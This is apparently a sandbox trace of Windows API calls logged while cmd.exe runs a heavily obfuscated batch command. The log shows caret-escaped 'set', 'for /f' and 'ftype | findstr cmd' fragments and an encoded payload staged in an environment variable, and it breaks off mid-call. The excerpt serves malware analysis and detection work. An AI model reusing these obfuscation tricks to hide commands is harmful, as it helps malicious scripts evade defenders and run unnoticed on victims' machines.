^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^", _String2="RANDOM") returned -20 [0102.146] _wcsicmp (_String1="^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0102.146] GetEnvironmentVariableW (in: lpName="^w^L^]^6^7^y^j^U^6^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0102.146] _wcsicmp (_String1="^w^L^]^6^7^y^j^U^6^", _String2="CD") returned -5 [0102.146] _wcsicmp (_String1="^w^L^]^6^7^y^j^U^6^", _String2="ERRORLEVEL") returned -7 [0102.146] _wcsicmp (_String1="^w^L^]^6^7^y^j^U^6^", _String2="CMDEXTVERSION") returned -5 [0102.146] _wcsicmp (_String1="^w^L^]^6^7^y^j^U^6^", _String2="CMDCMDLINE") returned -5 [0102.146] _wcsicmp (_String1="^w^L^]^6^7^y^j^U^6^", _String2="DATE") returned -6 [0102.146] _wcsicmp (_String1="^w^L^]^6^7^y^j^U^6^", _String2="TIME") returned -22 [0102.146] _wcsicmp (_String1="^w^L^]^6^7^y^j^U^6^", _String2="RANDOM") returned -20 [0102.146] _wcsicmp (_String1="^w^L^]^6^7^y^j^U^6^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0102.146] GetEnvironmentVariableW (in: lpName="^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0102.146] _wcsicmp (_String1="^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^", _String2="CD") returned -5 [0102.146] _wcsicmp (_String1="^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^", _String2="ERRORLEVEL") returned -7 [0102.146] _wcsicmp (_String1="^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^", _String2="CMDEXTVERSION") returned -5 [0102.146] _wcsicmp (_String1="^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^", _String2="CMDCMDLINE") returned -5 [0102.146] _wcsicmp (_String1="^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^", _String2="DATE") returned -6 [0102.146] _wcsicmp (_String1="^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^", _String2="TIME") returned -22 [0102.146] _wcsicmp (_String1="^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^", _String2="RANDOM") returned -20 [0102.146] _wcsicmp (_String1="^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0102.147] GetEnvironmentVariableW (in: lpName="^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0102.147] _wcsicmp (_String1="^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^", _String2="CD") returned -5 [0102.147] _wcsicmp (_String1="^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^", _String2="ERRORLEVEL") returned -7 [0102.147] _wcsicmp (_String1="^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^", _String2="CMDEXTVERSION") returned -5 [0102.147] _wcsicmp (_String1="^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^", _String2="CMDCMDLINE") returned -5 [0102.147] _wcsicmp (_String1="^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^", _String2="DATE") returned -6 [0102.147] _wcsicmp (_String1="^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^", _String2="TIME") returned -22 [0102.147] _wcsicmp (_String1="^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^", _String2="RANDOM") returned -20 [0102.147] _wcsicmp (_String1="^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0102.147] GetEnvironmentVariableW (in: lpName="e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0102.147] _wcsicmp (_String1="e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^", _String2="CD") returned 2 [0102.147] _wcsicmp (_String1="e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^", _String2="ERRORLEVEL") returned -20 [0102.147] _wcsicmp (_String1="e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^", _String2="CMDEXTVERSION") returned 2 [0102.147] _wcsicmp (_String1="e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^", _String2="CMDCMDLINE") returned 2 [0102.147] _wcsicmp (_String1="e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^", _String2="DATE") returned 1 [0102.147] _wcsicmp (_String1="e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^", _String2="TIME") returned -15 [0102.147] _wcsicmp (_String1="e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^", _String2="RANDOM") returned -13 [0102.147] _wcsicmp (_String1="e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^", _String2="HIGHESTNUMANODENUMBER") returned -3 [0102.148] GetEnvironmentVariableW (in: lpName="^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&( ; ( ; ; ; (^S^e^t ^\\^,^}_=^!^+^~^}^{^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0102.148] _wcsicmp (_String1="^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&( ; ( ; ; ; (^S^e^t ^\\^,^}_=^!^+^~^}^{^", _String2="CD") returned -5 [0102.148] _wcsicmp (_String1="^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&( ; ( ; ; ; (^S^e^t ^\\^,^}_=^!^+^~^}^{^", _String2="ERRORLEVEL") returned -7 [0102.148] _wcsicmp (_String1="^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&( ; ( ; ; ; (^S^e^t ^\\^,^}_=^!^+^~^}^{^", _String2="CMDEXTVERSION") returned -5 [0102.148] _wcsicmp (_String1="^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&( ; ( ; ; ; (^S^e^t ^\\^,^}_=^!^+^~^}^{^", _String2="CMDCMDLINE") returned -5 [0102.148] _wcsicmp (_String1="^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&( ; ( ; ; ; (^S^e^t ^\\^,^}_=^!^+^~^}^{^", _String2="DATE") returned -6 [0102.148] _wcsicmp (_String1="^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&( ; ( ; ; ; (^S^e^t ^\\^,^}_=^!^+^~^}^{^", _String2="TIME") returned -22 [0102.148] _wcsicmp (_String1="^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&( ; ( ; ; ; (^S^e^t ^\\^,^}_=^!^+^~^}^{^", _String2="RANDOM") returned -20 [0102.148] _wcsicmp (_String1="^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&( ; ( ; ; ; (^S^e^t ^\\^,^}_=^!^+^~^}^{^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0102.148] GetEnvironmentVariableW (in: lpName="^=^T!)&& (, ; , ;, ( , ; , (^S^e^T ^ ^ ^ ^}^\\=^!^[^$^#^?^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0102.148] _wcsicmp (_String1="^=^T!)&& (, ; , ;, ( , ; , (^S^e^T ^ ^ ^ ^}^\\=^!^[^$^#^?^", _String2="CD") returned -5 [0102.148] _wcsicmp (_String1="^=^T!)&& (, ; , ;, ( , ; , (^S^e^T ^ ^ ^ ^}^\\=^!^[^$^#^?^", _String2="ERRORLEVEL") returned -7 [0102.148] _wcsicmp (_String1="^=^T!)&& (, ; , ;, ( , ; , (^S^e^T ^ ^ ^ ^}^\\=^!^[^$^#^?^", _String2="CMDEXTVERSION") returned -5 [0102.148] _wcsicmp (_String1="^=^T!)&& (, ; , ;, ( , ; , (^S^e^T ^ ^ ^ ^}^\\=^!^[^$^#^?^", _String2="CMDCMDLINE") returned -5 [0102.148] _wcsicmp (_String1="^=^T!)&& (, ; , ;, ( , ; , (^S^e^T ^ ^ ^ ^}^\\=^!^[^$^#^?^", _String2="DATE") returned -6 [0102.148] _wcsicmp (_String1="^=^T!)&& (, ; , ;, ( , ; , (^S^e^T ^ ^ ^ ^}^\\=^!^[^$^#^?^", _String2="TIME") returned -22 [0102.148] _wcsicmp (_String1="^=^T!)&& (, ; , ;, ( , ; , (^S^e^T ^ ^ ^ ^}^\\=^!^[^$^#^?^", _String2="RANDOM") returned -20 [0102.148] _wcsicmp (_String1="^=^T!)&& (, ; , ;, ( , ; , (^S^e^T ^ ^ ^ ^}^\\=^!^[^$^#^?^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0102.148] GetEnvironmentVariableW (in: lpName="^!) , )&& ( , (^S^e^t ^ ^ ^*^}=^!^*^.^@^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0102.148] _wcsicmp (_String1="^!) , )&& ( , (^S^e^t ^ ^ ^*^}=^!^*^.^@^", _String2="CD") returned -5 [0102.148] _wcsicmp (_String1="^!) , )&& ( , (^S^e^t ^ ^ ^*^}=^!^*^.^@^", _String2="ERRORLEVEL") returned -7 [0102.149] _wcsicmp (_String1="^!) , )&& ( , (^S^e^t ^ ^ ^*^}=^!^*^.^@^", _String2="CMDEXTVERSION") returned -5 [0102.149] _wcsicmp (_String1="^!) , )&& ( , (^S^e^t ^ ^ ^*^}=^!^*^.^@^", _String2="CMDCMDLINE") returned -5 [0102.149] _wcsicmp (_String1="^!) , )&& ( , (^S^e^t ^ ^ ^*^}=^!^*^.^@^", _String2="DATE") returned -6 [0102.149] _wcsicmp (_String1="^!) , )&& ( , (^S^e^t ^ ^ ^*^}=^!^*^.^@^", _String2="TIME") returned -22 [0102.149] _wcsicmp (_String1="^!) , )&& ( , (^S^e^t ^ ^ ^*^}=^!^*^.^@^", _String2="RANDOM") returned -20 [0102.149] _wcsicmp (_String1="^!) , )&& ( , (^S^e^t ^ ^ ^*^}=^!^*^.^@^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0102.149] GetEnvironmentVariableW (in: lpName="^g; ; , ^iN , ( ,'; ; ^^ft^^Y^^p^^e ;; , ^|, , ^^f^^iN^^d^^S^^t^^r ;^^c^^m '; ,) , ; ^d^o, , ;; ; (^e^c^h^O ,", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0102.149] _wcsicmp (_String1="^g; ; , ^iN , ( ,'; ; ^^ft^^Y^^p^^e ;; , ^|, , ^^f^^iN^^d^^S^^t^^r ;^^c^^m '; ,) , ; ^d^o, , ;; ; (^e^c^h^O ,", _String2="CD") returned -5 [0102.149] _wcsicmp (_String1="^g; ; , ^iN , ( ,'; ; ^^ft^^Y^^p^^e ;; , ^|, , ^^f^^iN^^d^^S^^t^^r ;^^c^^m '; ,) , ; ^d^o, , ;; ; (^e^c^h^O ,", _String2="ERRORLEVEL") returned -7 [0102.149] _wcsicmp (_String1="^g; ; , ^iN , ( ,'; ; ^^ft^^Y^^p^^e ;; , ^|, , ^^f^^iN^^d^^S^^t^^r ;^^c^^m '; ,) , ; ^d^o, , ;; ; (^e^c^h^O ,", _String2="CMDEXTVERSION") returned -5 [0102.149] _wcsicmp (_String1="^g; ; , ^iN , ( ,'; ; ^^ft^^Y^^p^^e ;; , ^|, , ^^f^^iN^^d^^S^^t^^r ;^^c^^m '; ,) , ; ^d^o, , ;; ; (^e^c^h^O ,", _String2="CMDCMDLINE") returned -5 [0102.149] _wcsicmp (_String1="^g; ; , ^iN , ( ,'; ; ^^ft^^Y^^p^^e ;; , ^|, , ^^f^^iN^^d^^S^^t^^r ;^^c^^m '; ,) , ; ^d^o, , ;; ; (^e^c^h^O ,", _String2="DATE") returned -6 [0102.149] _wcsicmp (_String1="^g; ; , ^iN , ( ,'; ; ^^ft^^Y^^p^^e ;; , ^|, , ^^f^^iN^^d^^S^^t^^r ;^^c^^m '; ,) , ; ^d^o, , ;; ; (^e^c^h^O ,", _String2="TIME") returned -22 [0102.149] _wcsicmp (_String1="^g; ; , ^iN , ( ,'; ; ^^ft^^Y^^p^^e ;; , ^|, , ^^f^^iN^^d^^S^^t^^r ;^^c^^m '; ,) , ; ^d^o, , ;; ; (^e^c^h^O ,", _String2="RANDOM") returned -20 [0102.149] _wcsicmp (_String1="^g; ; , ^iN , ( ,'; ; ^^ft^^Y^^p^^e ;; , ^|, , ^^f^^iN^^d^^S^^t^^r ;^^c^^m '; ,) , ; ^d^o, , ;; ; (^e^c^h^O ,", _String2="HIGHESTNUMANODENUMBER") returned -10 [0102.149] GetEnvironmentVariableW (in: lpName="^*^[^-^,", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0102.149] _wcsicmp (_String1="^*^[^-^,", _String2="CD") returned -5 [0102.149] _wcsicmp (_String1="^*^[^-^,", _String2="ERRORLEVEL") returned -7 [0102.149] _wcsicmp (_String1="^*^[^-^,", _String2="CMDEXTVERSION") returned -5 [0102.149] _wcsicmp (_String1="^*^[^-^,", _String2="CMDCMDLINE") returned -5 [0102.149] _wcsicmp (_String1="^*^[^-^,", _String2="DATE") returned -6 [0102.149] _wcsicmp (_String1="^*^[^-^,", _String2="TIME") returned -22 [0102.149] _wcsicmp (_String1="^*^[^-^,", _String2="RANDOM") returned -20 [0102.149] _wcsicmp (_String1="^*^[^-^,", _String2="HIGHESTNUMANODENUMBER") returned -10 [0102.150] GetEnvironmentVariableW (in: lpName=" |", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0102.150] _wcsicmp (_String1=" |", _String2="CD") returned -67 [0102.150] _wcsicmp (_String1=" |", _String2="ERRORLEVEL") returned -69 [0102.150] _wcsicmp (_String1=" |", _String2="CMDEXTVERSION") returned -67 [0102.150] _wcsicmp (_String1=" |", _String2="CMDCMDLINE") returned -67 [0102.150] _wcsicmp (_String1=" |", _String2="DATE") returned -68 [0102.150] _wcsicmp (_String1=" |", _String2="TIME") returned -84 [0102.150] _wcsicmp (_String1=" |", _String2="RANDOM") returned -82 [0102.150] _wcsicmp (_String1=" |", _String2="HIGHESTNUMANODENUMBER") returned -72 [0102.153] _wcsicmp (_String1="FOR", _String2="seT +~}{") returned -13 [0102.153] _wcsicmp (_String1="FOR/?", _String2="seT +~}{") returned -13 [0102.153] _wcsicmp (_String1="IF", _String2="seT +~}{") returned -10 [0102.153] _wcsicmp (_String1="IF/?", _String2="seT +~}{") returned -10 [0102.153] _wcsicmp (_String1="REM", _String2="seT +~}{") returned -1 [0102.153] _wcsicmp (_String1="REM/?", _String2="seT +~}{") returned -1 [0102.161] _wcsicmp (_String1="/L", _String2="/f") returned 6 [0102.161] _wcsicmp (_String1="/D", _String2="/f") returned -2 [0102.161] _wcsicmp (_String1="/F", _String2="/f") returned 0 [0102.163] GetConsoleTitleW (in: lpConsoleTitle=0x12f4c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.173] _wcsicmp (_String1="seT", _String2="DIR") returned 15 [0102.173] _wcsicmp (_String1="seT", _String2="ERASE") returned 14 [0102.173] _wcsicmp (_String1="seT", _String2="DEL") returned 15 [0102.173] _wcsicmp (_String1="seT", _String2="TYPE") returned -1 [0102.173] _wcsicmp (_String1="seT", _String2="COPY") returned 16 [0102.173] _wcsicmp (_String1="seT", _String2="CD") returned 16 [0102.173] _wcsicmp (_String1="seT", _String2="CHDIR") returned 16 [0102.174] _wcsicmp (_String1="seT", _String2="RENAME") returned 1 [0102.174] _wcsicmp (_String1="seT", _String2="REN") returned 1 [0102.174] _wcsicmp (_String1="seT", _String2="ECHO") returned 14 [0102.174] _wcsicmp (_String1="seT", _String2="SET") returned 0 [0102.180] wcsncmp (_String1="+~}{", _String2="/", _MaxCount=0x4) returned -4 [0102.182] GetEnvironmentVariableW (in: lpName="+~}{", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="eo28PGC7y.Y.Yeo2vTd]F3pbf6K'.Y1.Y@eo2h8PZ7y8P3pTde37{jUnPjy+@eo2%zwLhwLTd3pe37{jUn#Pjy+2Xb2).Y112eo22+263p.YF3p2+2]2+2.YqF3pbfN2+28P4-Pj3QeACh8PZ8P,2+2GC7y2+2[2+27K2+23737-%2+2`k7y8P.Y-7Keo22+2eo28Pm3QeAC3p`2+2qF3pbfN6m8P.YAC67jh`eo2GC7y8Pm'jU]62+242+2Zn.AC67[2+2F3pbfbfk7yuuQe37eo22+26KF3p].Yjh`eo2GC7y8P2+2m'2+2jU]64Zn2+2.'u2+2ZGC7ym6k7y11F3p].YqF3pbfN8PGC7y'a2+28P3QeAC7yjU62+23pZ8PnGC7y)'2+2Pjk7y8PnR8P6371AC62+272+2%zwLhGC7yGC7yk7yeo28 ,.,.Zm6.2+28Peo24ax'Zm.3QeACX2+27',X2+2m,.AC ,.F3pjUn,.2+2.6GC7y4axuQe7yeo2K_X'2+2k7yn.AC672+2))[2+2F3pbfbfk7yuuQe2+2mQe6KF3p].Yu`2+2GC7y2+28P{Pjy.Y2+24axjUnH [1 '2+2'H)3QeAC2+2jh2+2h8PZo\\F3pX]8P6,%zwLh12+2F3pbf2+2bf2+2k7yuuQe7.YZn1 ''H2+24ax(2+2))\\F3pbfbfk7yuuQe2+2GC7y2+2GC7y6KF3pbfbfk7yuuQe37eo2'6wL8P2+2GC7yGC7yyZ78P3p1F3pbfbfk7yuuQe76xd2+2F3pbf2+2bfk7yuuQe_2+2)[F3pbfbfk7yuuQemQe2+2{F3pbfbfk7yuuQe2+2_:H4axiy+F3pbfbfk7yuuQe7Pjy6K1{m6GC7y%zwLhPjy8 8 zwLh2+23pX2+2X]11F3pbfbf2+2k7yuuQeGC7yGC7y'u-3QeAC6n37jUn5):jUnbf)-3QeACX]2+21F3pbfbfk7yuuQeGC7y2+2GC7y'6wL.Y-3QeAC6n37.YjUn5))}2+2}[2+2e2+2wLXb12+2{jh`eo2GC7y2+28Pm'%8P72+2GC7y'wL2+2n,X37Zn2+2.2+2Pjy8 8 7Kjh7yjU6ee'2+26wL8PGC7yjh2+2GC7y]Zn.1F3pbfbf2+2k7yuuQe2+2mQe{ '2+2'2+2jUn2+2AC (2+2Pjy)2+2)2)'R8Pk7y3p67yjU6wL12AC6726xd{eo2%Ren6wLPjy{7yjU6%zwLh7K]Pjy#H)'R8Pk7y3p67yjU6wL11{7yjU6%zwLh7K]PjyACiy+{7yjU6%zwLh7K]Pjyiy#+{7yjU6%zwLh7K]PjyjUn bf)6xd{eo2%Ren6wLPjy{7yjU6%zwLh7K]PjyjUn4axH)'R8Pk7y3p67yjU6wL11{7yjU6%zwLh7K]PjyjUnjUniy+{7yjU6%zwLh7K]Pjy5H+{7yjU6%zwLh7K]PjyiyjUn)6xd{eo2%Ren6wLPjy{7yjU6%zwLh7K]Pjy#bf))^&^&.Yeo28P%.Y.Y6jUe/`6KwL,%zwLhPj.Y1.Z.YF3pbf6Re7K3QeAC3p8P8 8P:XbGC7y)'7y6TdvwL'enF3pbfPjQewL7yjU6XmuQe6njU'eqF3pbfN7yPjQe8Peo27yjU6RZGC7yy%11Tdjh.Y8PqF3pbfN7y8 eo23Td]7y)'F3pbf6Td38P.Y.Y).Y.Y^^^|GC7yyPj4wLReo2h8PZ7ywL3pTd.Y.Y-nXqF3pbfNZqF3pbfN%wL]67yjU6%e.Y.Y-qF3pbfNX3pPj.Y-4ZqF3pbfN.Y%zwLhe37378Pn.Y-8P78P,v%ePjqF3pbfNk7yPjTde,.Y3QeAC`GC7yy7Kjhjh.Y.Y-nPjGC7yy]PjzwLhe3p8P.Y.Y-7yjU6PjmuQe7KqF3pbfN37.Y.Y.Y.Y.Y^^^^^^^&1.Y@8PqF3pbfN7y8 7yjU6Xmeo2GC7yy8P,{H6xd4axH6xd4ax5Pjy-TdQXen22)1@Znk7yv%.Y).Y.Y^&^&.Y.Y,m37'8P7wL.Y.Y.Y,.,.Yo637Z/T.o") returned 0x800 [0102.185] _wcsnicmp (_String1="eo", _String2="AC", _MaxCount=0x2) returned 4 [0102.185] _wcsnicmp (_String1="o2", _String2="AC", _MaxCount=0x2) returned 14 [0102.185] _wcsnicmp (_String1="28", _String2="AC", _MaxCount=0x2) returned -47 [0102.185] _wcsnicmp (_String1="8P", _String2="AC", _MaxCount=0x2) returned -41 [0102.185] _wcsnicmp (_String1="PG", _String2="AC", _MaxCount=0x2) returned 15 [0102.185] _wcsnicmp (_String1="GC", _String2="AC", _MaxCount=0x2) returned 6 [0102.185] _wcsnicmp (_String1="C7", _String2="AC", _MaxCount=0x2) returned 2 [0102.185] _wcsnicmp (_String1="7y", _String2="AC", _MaxCount=0x2) returned -42 [0102.185] _wcsnicmp (_String1="y.", _String2="AC", _MaxCount=0x2) returned 24 [0102.185] _wcsnicmp (_String1=".Y", _String2="AC", _MaxCount=0x2) returned -51 [0102.185] _wcsnicmp (_String1="Y.", _String2="AC", _MaxCount=0x2) returned 24 [0102.185] _wcsnicmp (_String1=".Y", _String2="AC", _MaxCount=0x2) returned -51 [0102.185] _wcsnicmp (_String1="Ye", _String2="AC", _MaxCount=0x2) returned 24 [0102.185] _wcsnicmp 